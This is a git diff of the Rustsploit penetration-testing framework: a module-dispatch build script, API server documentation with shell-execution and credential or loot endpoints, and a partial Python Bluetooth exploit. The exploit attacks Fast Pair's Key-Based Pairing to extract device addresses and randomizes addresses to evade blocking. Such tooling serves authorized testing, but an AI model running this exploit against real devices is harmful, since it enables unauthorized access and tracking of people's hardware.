|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 82 KiB |
@@ -0,0 +1,456 @@
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
use walkdir::WalkDir;
|
||||
|
||||
/// Build script that generates module dispatchers for all categories found
|
||||
/// under `src/modules/`. Categories are discovered dynamically — adding a new
|
||||
/// subdirectory (e.g. `src/modules/payloads/`) is all that's needed.
|
||||
fn main() {
|
||||
let modules_root = Path::new("src/modules");
|
||||
if !modules_root.exists() {
|
||||
eprintln!("cargo:warning=src/modules/ directory not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Discover categories dynamically from subdirectories of src/modules/
|
||||
let mut categories: Vec<String> = Vec::new();
|
||||
let entries = match fs::read_dir(modules_root) {
|
||||
Ok(e) => e,
|
||||
Err(e) => {
|
||||
eprintln!("cargo:warning=Failed to read src/modules/: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
if path.is_dir() {
|
||||
if let Some(name) = path.file_name().and_then(|n| n.to_str()) {
|
||||
if !name.starts_with('.') {
|
||||
categories.push(name.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
categories.sort();
|
||||
|
||||
// Tell Cargo to rerun if any category directory changes
|
||||
for cat in &categories {
|
||||
println!("cargo:rerun-if-changed=src/modules/{}", cat);
|
||||
}
|
||||
|
||||
// Compile regexes once, reuse across all categories.
|
||||
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
|
||||
.expect("hardcoded regex must compile");
|
||||
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo")
|
||||
.expect("hardcoded regex must compile");
|
||||
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult")
|
||||
.expect("hardcoded regex must compile");
|
||||
|
||||
// Generate a dispatcher for each category
|
||||
let mut registry_entries: Vec<RegistryEntry> = Vec::new();
|
||||
|
||||
for cat in &categories {
|
||||
let root = format!("src/modules/{}", cat);
|
||||
let mod_prefix = format!("crate::modules::{}", cat);
|
||||
let out_file = format!("{}_dispatch.rs", dispatch_name(cat));
|
||||
let display_name = capitalize(cat);
|
||||
|
||||
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name, &run_re, &info_re, &check_re) {
|
||||
Ok(_module_count) => {
|
||||
registry_entries.push(RegistryEntry {
|
||||
category: cat.clone(),
|
||||
dispatch_name: dispatch_name(cat),
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("cargo:warning=Error generating {} dispatcher: {}", cat, e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Generate unified registry file
|
||||
if let Err(e) = generate_registry(®istry_entries) {
|
||||
eprintln!("cargo:warning=Error generating module registry: {}", e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
struct RegistryEntry {
|
||||
category: String,
|
||||
dispatch_name: String,
|
||||
}
|
||||
|
||||
/// Map category directory name to dispatch module name.
|
||||
/// "exploits" → "exploit", "scanners" → "scanner", otherwise identity.
|
||||
fn dispatch_name(category: &str) -> String {
|
||||
match category {
|
||||
"exploits" => "exploit".to_string(),
|
||||
"scanners" => "scanner".to_string(),
|
||||
other => other.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn capitalize(s: &str) -> String {
|
||||
let mut c = s.chars();
|
||||
match c.next() {
|
||||
None => String::new(),
|
||||
Some(f) => f.to_uppercase().collect::<String>() + c.as_str(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Capabilities detected for each module file.
|
||||
struct ModuleCapabilities {
|
||||
has_info: bool,
|
||||
has_check: bool,
|
||||
}
|
||||
|
||||
fn generate_dispatch(
|
||||
root: &str,
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
run_re: &Regex,
|
||||
info_re: &Regex,
|
||||
check_re: &Regex,
|
||||
) -> Result<usize, Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
|
||||
let root_path = Path::new(root);
|
||||
if !root_path.exists() {
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
let mappings = find_modules(root_path, run_re, info_re, check_re)?;
|
||||
|
||||
// Sort for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
|
||||
sorted_mappings.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
|
||||
// Detect duplicate short names (different full paths with same filename)
|
||||
let mut short_names: HashMap<String, Vec<String>> = HashMap::new();
|
||||
for (key, _, _) in &sorted_mappings {
|
||||
let short = key.rsplit('/').next().unwrap_or(key).to_string();
|
||||
short_names.entry(short).or_default().push(key.clone());
|
||||
}
|
||||
for (short, full_paths) in &short_names {
|
||||
if full_paths.len() > 1 {
|
||||
println!(
|
||||
"cargo:warning=Duplicate short module name '{}' in {}: {:?}. \
|
||||
Only the first match will be reachable via short name.",
|
||||
short, root, full_paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut file = File::create(&dest_path)?;
|
||||
|
||||
writeln!(file, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
// Generate AVAILABLE_MODULES constant for runtime discovery
|
||||
writeln!(file, "/// List of all available modules in this category.")?;
|
||||
writeln!(file, "pub const AVAILABLE_MODULES: &[&str] = &[")?;
|
||||
for (key, _, _) in &sorted_mappings {
|
||||
writeln!(file, " \"{}\",", key)?;
|
||||
}
|
||||
writeln!(file, "];\n")?;
|
||||
|
||||
// === Run dispatcher ===
|
||||
writeln!(file, "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut emitted_shorts: HashSet<String> = HashSet::new();
|
||||
|
||||
for (key, mod_path, _caps) in &sorted_mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
|
||||
category_name
|
||||
)?;
|
||||
writeln!(file, " }}\n Ok(())\n}}\n")?;
|
||||
|
||||
// === Info dispatcher ===
|
||||
writeln!(file, "pub fn info_dispatch(module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut info_emitted_shorts: HashSet<String> = HashSet::new();
|
||||
let mut info_count = 0;
|
||||
|
||||
for (key, mod_path, caps) in &sorted_mappings {
|
||||
if !caps.has_info { continue; }
|
||||
info_count += 1;
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => Some({p}::{m}::info()),"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if info_emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => Some({p}::{m}::info()),"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => Some({p}::{m}::info()),"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => None,")?;
|
||||
writeln!(file, " }}\n}}\n")?;
|
||||
|
||||
// === Check dispatcher ===
|
||||
// Use _target prefix if no check modules to avoid unused variable warning
|
||||
let check_has_any = sorted_mappings.iter().any(|(_, _, c)| c.has_check);
|
||||
let target_param = if check_has_any { "target" } else { "_target" };
|
||||
writeln!(file, "pub async fn check_dispatch(module_name: &str, {}: &str) -> Option<crate::module_info::CheckResult> {{", target_param)?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut check_emitted_shorts: HashSet<String> = HashSet::new();
|
||||
let mut check_count = 0;
|
||||
|
||||
for (key, mod_path, caps) in &sorted_mappings {
|
||||
if !caps.has_check { continue; }
|
||||
check_count += 1;
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => Some({p}::{m}::check(target).await),"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if check_emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => Some({p}::{m}::check(target).await),"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => Some({p}::{m}::check(target).await),"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => None,")?;
|
||||
writeln!(file, " }}\n}}\n")?;
|
||||
|
||||
// === Check availability (no target needed) ===
|
||||
writeln!(file, "/// Check if a module has a check() function without needing a target.")?;
|
||||
writeln!(file, "pub fn check_available(module_name: &str) -> bool {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut check_avail_shorts: HashSet<String> = HashSet::new();
|
||||
|
||||
for (key, _, caps) in &sorted_mappings {
|
||||
if !caps.has_check { continue; }
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(file, r#" "{k}" => true,"#, k = key)?;
|
||||
} else if check_avail_shorts.insert(short_key.to_string()) {
|
||||
writeln!(file, r#" "{short}" | "{full}" => true,"#, short = short_key, full = key)?;
|
||||
} else {
|
||||
writeln!(file, r#" "{full}" => true,"#, full = key)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => false,")?;
|
||||
writeln!(file, " }}\n}}")?;
|
||||
|
||||
let count = sorted_mappings.len();
|
||||
if count == 0 {
|
||||
println!("cargo:warning=No modules found in '{}' — generated empty dispatcher", root);
|
||||
}
|
||||
|
||||
println!("cargo:warning=Generated {} with {} modules ({} info, {} check)", out_file, count, info_count, check_count);
|
||||
Ok(count)
|
||||
}
|
||||
|
||||
/// Generate a unified registry file that lists all categories and their modules.
|
||||
/// This is included by `src/commands/mod.rs` to avoid hard-coding categories.
|
||||
fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR")?;
|
||||
let dest = Path::new(&out_dir).join("module_registry.rs");
|
||||
let mut f = File::create(&dest)?;
|
||||
|
||||
writeln!(f, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
// Category list
|
||||
writeln!(f, "/// All module categories discovered under src/modules/.")?;
|
||||
writeln!(f, "pub const CATEGORIES: &[&str] = &[")?;
|
||||
for e in entries {
|
||||
writeln!(f, " \"{}\",", e.category)?;
|
||||
}
|
||||
writeln!(f, "];\n")?;
|
||||
|
||||
// Unified discover function
|
||||
writeln!(f, "/// Aggregate all available modules across all categories.")?;
|
||||
writeln!(f, "pub fn all_modules() -> Vec<String> {{")?;
|
||||
writeln!(f, " let mut modules = Vec::new();")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" modules.extend(crate::commands::{}::AVAILABLE_MODULES.iter().map(|m| format!(\"{{}}/{{}}\", \"{}\", m)));",
|
||||
e.dispatch_name, e.category
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " modules")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified dispatch function
|
||||
writeln!(f, "/// Dispatch a module run by category and module name.")?;
|
||||
writeln!(f, "pub async fn dispatch_by_category(category: &str, module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::dispatch(module_name, target).await,",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => anyhow::bail!(\"Unknown module category '{{}}'\", category),")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified info dispatch
|
||||
writeln!(f, "/// Get module info by category and module name.")?;
|
||||
writeln!(f, "pub fn info_by_category(category: &str, module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::info_dispatch(module_name),",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => None,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified check dispatch
|
||||
writeln!(f, "/// Run vulnerability check by category and module name.")?;
|
||||
writeln!(f, "pub async fn check_by_category(category: &str, module_name: &str, target: &str) -> Option<crate::module_info::CheckResult> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::check_dispatch(module_name, target).await,",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => None,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Check availability (no target needed)
|
||||
writeln!(f, "/// Check if a module has a check() function by category and module name.")?;
|
||||
writeln!(f, "pub fn check_available_by_category(category: &str, module_name: &str) -> bool {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::check_available(module_name),",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => false,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
type ModuleMapping = (String, String, ModuleCapabilities);
|
||||
|
||||
/// Finds all valid modules recursively using WalkDir.
|
||||
/// Returns (module_key, module_path, capabilities) tuples.
|
||||
fn find_modules(
|
||||
root: &Path,
|
||||
run_re: &Regex,
|
||||
info_re: &Regex,
|
||||
check_re: &Regex,
|
||||
) -> Result<HashSet<ModuleMapping>, Box<dyn std::error::Error>> {
|
||||
let mut mappings = HashSet::new();
|
||||
|
||||
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
if path.is_file() && path.extension().map_or(false, |e| e == "rs") {
|
||||
let file_stem = path.file_stem().and_then(|s| s.to_str()).unwrap_or("");
|
||||
if file_stem == "mod" || file_stem == "lib" { continue; }
|
||||
|
||||
if let Ok(relative) = path.strip_prefix(root) {
|
||||
let rel_str = relative.with_extension("").to_string_lossy().replace("\\", "/");
|
||||
|
||||
let mut content = String::new();
|
||||
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
|
||||
if !content.contains("fn run") { continue; }
|
||||
if run_re.is_match(&content) {
|
||||
let caps = ModuleCapabilities {
|
||||
has_info: content.contains("fn info") && info_re.is_match(&content),
|
||||
has_check: content.contains("fn check") && check_re.is_match(&content),
|
||||
};
|
||||
mappings.insert((rel_str.clone(), rel_str, caps));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(mappings)
|
||||
}
|
||||
|
||||
// Manual Hash/Eq implementations for ModuleCapabilities that only compare on the key
|
||||
impl std::hash::Hash for ModuleCapabilities {
|
||||
fn hash<H: std::hash::Hasher>(&self, _state: &mut H) {
|
||||
// Intentionally empty — hashing is done on the tuple's first element
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq for ModuleCapabilities {
|
||||
fn eq(&self, _other: &Self) -> bool {
|
||||
true // All capabilities are "equal" for set dedup purposes
|
||||
}
|
||||
}
|
||||
|
||||
impl Eq for ModuleCapabilities {}
|
||||
@@ -0,0 +1,100 @@
|
||||
# --- Constants ---
|
||||
|
||||
return fmt_mac(chunk)
|
||||
|
||||
return None
|
||||
|
||||
async def exploit_device(self, address, strategy_index=None, log_callback=None):
|
||||
def log(msg, type="info"):
|
||||
if log_callback: log_callback(msg, type)
|
||||
else: print(msg)
|
||||
|
||||
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
|
||||
|
||||
try:
|
||||
async with BleakClient(address, timeout=20.0) as client:
|
||||
log(f"Connected. Auth: {client.is_connected}", "success")
|
||||
|
||||
# Service Discovery
|
||||
service = client.services.get_service(FAST_PAIR_UUID)
|
||||
if not service:
|
||||
for s in client.services:
|
||||
if "fe2c" in str(s.uuid).lower():
|
||||
service = s
|
||||
break
|
||||
if not service:
|
||||
log("Fast Pair Service not found.", "error")
|
||||
return False
|
||||
|
||||
# Model ID & Quirks
|
||||
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
|
||||
model_char = service.get_characteristic(MODEL_ID_UUID)
|
||||
if model_char:
|
||||
try:
|
||||
mid_bytes = await client.read_gatt_char(model_char)
|
||||
quirks = self._parse_model_id(mid_bytes)
|
||||
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
|
||||
except:
|
||||
log("Could not read Model ID, using defaults.", "info")
|
||||
|
||||
# KBP Characteristic
|
||||
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
|
||||
if not kbp_char:
|
||||
log("KBP Characteristic not found.", "error")
|
||||
return False
|
||||
|
||||
# Apply Quirk Delay
|
||||
if quirks["delay_before_kbp"] > 0:
|
||||
await asyncio.sleep(quirks["delay_before_kbp"])
|
||||
|
||||
# Response Handling
|
||||
response_event = asyncio.Event()
|
||||
parsed_address = None
|
||||
|
||||
def notification_handler(sender, data):
|
||||
nonlocal parsed_address
|
||||
# Use robust parser
|
||||
found = self._parse_kbp_response(data, current_secret)
|
||||
if found:
|
||||
parsed_address = found
|
||||
log(f"Response Parsed! Real Address: {parsed_address}", "success")
|
||||
else:
|
||||
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
|
||||
|
||||
response_event.set()
|
||||
|
||||
await client.start_notify(kbp_char, notification_handler)
|
||||
|
||||
# Strategy Selection
|
||||
strategies_to_try = []
|
||||
if strategy_index is not None:
|
||||
try:
|
||||
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
|
||||
except (ValueError, IndexError):
|
||||
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
|
||||
return False
|
||||
else:
|
||||
strategies_to_try = EXPLOIT_STRATEGIES
|
||||
|
||||
# CRITICAL FIX: Use the actual target device address as the Provider Address
|
||||
# The device checks this to ensure the packet is meant for it.
|
||||
try:
|
||||
# Convert MAC string "AA:BB:..." to bytes
|
||||
provider_addr = bytes(int(x, 16) for x in address.split(":"))
|
||||
except ValueError:
|
||||
log("Invalid MAC address format. Using dummy provider address.", "warning")
|
||||
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
|
||||
|
||||
# Randomize Seeker Address for every attempt to evade caching/blocking
|
||||
seeker_addr = secrets.token_bytes(6)
|
||||
log(f"Target (Provider) Address: {address}", "info")
|
||||
log(f"Strategies to try: {strategies_to_try}", "info")
|
||||
|
||||
success_strategy = None
|
||||
current_secret = None
|
||||
write_accepted_but_no_response = False
|
||||
|
||||
for strat in strategies_to_try:
|
||||
log(f"Trying Strategy: {strat}...", "info")
|
||||
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
|
||||
current_secret = secret # For notification handler
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,388 @@
|
||||
# API Server
|
||||
|
||||
Rustsploit includes a built-in API server (`src/api.rs`, `src/ws.rs`) with post-quantum encrypted WebSocket transport and SSH-style identity key authentication. No TLS. No API keys.
|
||||
|
||||
---
|
||||
|
||||
## Starting the API Server
|
||||
|
||||
```bash
|
||||
# Basic — auto-generates host key on first run
|
||||
cargo run -- --api
|
||||
|
||||
# Custom bind address
|
||||
cargo run -- --api --interface 0.0.0.0:9000
|
||||
|
||||
# Custom key paths
|
||||
cargo run -- --api --pq-host-key /path/to/host_key --pq-authorized-keys /path/to/authorized_keys
|
||||
```
|
||||
|
||||
On first run, the server generates a PQ host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint:
|
||||
```
|
||||
🔑 Host key fingerprint: PQ256:a1b2c3d4e5f6...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--interface <addr:port>` | Bind address (default: `127.0.0.1:8080`) | No |
|
||||
| `--pq-host-key <path>` | PQ host key file (default: `~/.rustsploit/pq_host_key`) | No |
|
||||
| `--pq-authorized-keys <path>` | Authorized client keys (default: `~/.rustsploit/pq_authorized_keys`) | No |
|
||||
|
||||
---
|
||||
|
||||
## Authentication — Post-Quantum Identity Keys
|
||||
|
||||
Authentication uses SSH-style public/private key pairs with post-quantum cryptography. No API keys or Bearer tokens.
|
||||
|
||||
### How it works
|
||||
|
||||
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
|
||||
2. **Client** has an identity key pair per tenant, stored encrypted in ArcticAlopex's database
|
||||
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys`
|
||||
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
|
||||
5. Both sides prove key ownership via DH proof-of-possession
|
||||
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
|
||||
7. All subsequent API traffic is encrypted with ChaCha20-Poly1305 via a Double Ratchet (forward secrecy)
|
||||
|
||||
### Authorized keys format
|
||||
|
||||
`~/.rustsploit/pq_authorized_keys` — one JSON object per line:
|
||||
```json
|
||||
{"name":"acme-tenant","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
{"name":"redteam","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
```
|
||||
|
||||
### Security properties
|
||||
|
||||
| Property | Mechanism |
|
||||
|----------|-----------|
|
||||
| Quantum resistance | ML-KEM-768 (NIST FIPS 203, Level 3) |
|
||||
| Classical resistance | X25519 hybrid (both must be broken) |
|
||||
| Forward secrecy | Double Ratchet with periodic DH re-keying |
|
||||
| Mutual authentication | Both sides prove identity key ownership |
|
||||
| Replay protection | Monotonic epoch counter + unique nonces |
|
||||
| Tampering detection | ChaCha20-Poly1305 AEAD with AAD |
|
||||
|
||||
---
|
||||
|
||||
## Endpoints
|
||||
|
||||
### Public (no PQ session needed)
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/health` | Health check |
|
||||
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
|
||||
| `GET` | `/pq/ws` | Upgrade to PQ-encrypted WebSocket transport |
|
||||
|
||||
### Protected (26 endpoints — require active PQ session)
|
||||
|
||||
**Modules**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/modules` | List all available modules by category |
|
||||
| `GET` | `/api/modules/search?q=<keyword>` | Search modules by keyword |
|
||||
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
|
||||
| `POST` | `/api/run` | Execute a module against a target |
|
||||
|
||||
**Shell**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/shell` | Execute any shell command (full parity with interactive shell) |
|
||||
|
||||
**Target**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/target` | Get current global target |
|
||||
| `POST` | `/api/target` | Set global target |
|
||||
| `DELETE` | `/api/target` | Clear global target |
|
||||
|
||||
**Honeypot Detection**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/honeypot-check` | Check if target is a honeypot |
|
||||
|
||||
**Results**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/results` | List saved result files |
|
||||
| `GET` | `/api/results/{filename}` | Download a result file |
|
||||
|
||||
**Global Options**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/options` | List all global options (`setg` values) |
|
||||
| `POST` | `/api/options` | Set a global option |
|
||||
| `DELETE` | `/api/options` | Delete a global option |
|
||||
|
||||
**Credential Store**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/creds` | List stored credentials |
|
||||
| `POST` | `/api/creds` | Add a credential manually |
|
||||
| `DELETE` | `/api/creds` | Delete a credential by ID |
|
||||
|
||||
**Workspace / Hosts / Services**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/hosts` | List tracked hosts |
|
||||
| `POST` | `/api/hosts` | Add a host (IP, hostname, OS guess) |
|
||||
| `GET` | `/api/services` | List discovered services |
|
||||
| `POST` | `/api/services` | Add a service (host, port, protocol, name) |
|
||||
| `GET` | `/api/workspace` | Get current workspace name/data |
|
||||
| `POST` | `/api/workspace` | Switch to a different workspace |
|
||||
|
||||
**Loot**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/loot` | List collected loot items |
|
||||
| `POST` | `/api/loot` | Add loot (host, type, description, data) |
|
||||
|
||||
**Jobs**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/jobs` | List background jobs |
|
||||
| `DELETE` | `/api/jobs/{id}` | Kill a background job by ID |
|
||||
|
||||
**Export**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
|
||||
|
||||
> **Note:** The `check` command (non-destructive vulnerability check) is available via `POST /api/shell` with `{"command": "check"}` when a module and target are set. There is no dedicated `/api/check` endpoint.
|
||||
|
||||
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
|
||||
|
||||
> **Total: 28 endpoints** (2 public + 26 protected) across 9 resource categories, plus WebSocket transport.
|
||||
|
||||
### WebSocket Transport
|
||||
|
||||
`GET /pq/ws` upgrades the connection to a PQ-encrypted WebSocket. After the initial `/pq/handshake`, clients can switch to WebSocket for persistent bidirectional communication.
|
||||
|
||||
**Features:**
|
||||
- PQ-encrypted frames using ChaCha20-Poly1305 (same security as REST)
|
||||
- Max 100 concurrent WebSocket connections
|
||||
- 30-second heartbeat interval
|
||||
- 1 MiB max frame size
|
||||
- Sub-session key derivation from the PQ handshake session
|
||||
|
||||
**Headers required:**
|
||||
- `X-PQ-Session-Id` — session ID from `/pq/handshake`
|
||||
- Standard WebSocket upgrade headers
|
||||
|
||||
WebSocket messages use the same JSON request/response format as REST endpoints. The WebSocket transport is ideal for long-running operations, real-time job monitoring, and persistent client connections.
|
||||
|
||||
---
|
||||
|
||||
### Shell Command Endpoint
|
||||
|
||||
`POST /api/shell` provides **full parity** with the interactive shell. Every command
|
||||
available in the `rsf>` prompt works via this endpoint. Commands that require interactive
|
||||
prompts (like `creds add`, `services add`, `loot add`) accept inline arguments instead.
|
||||
|
||||
**Request format:**
|
||||
```json
|
||||
{
|
||||
"command": "single command string",
|
||||
"commands": ["cmd1", "cmd2", "cmd3"]
|
||||
}
|
||||
```
|
||||
|
||||
Use `command` for a single command or `commands` (array, 1-20 entries) for batching.
|
||||
Shell metacharacters (`& | ; $ >`) are forbidden — use the `commands` array for chaining.
|
||||
|
||||
**Supported commands:**
|
||||
|
||||
| Category | Commands |
|
||||
|----------|----------|
|
||||
| Navigation | `help`, `modules`, `find <kw>`, `use <path>`, `info [path]`, `back` |
|
||||
| Targeting | `set target <ip>`, `set subnet <CIDR>`, `set port <n>`, `show_target`, `clear_target` |
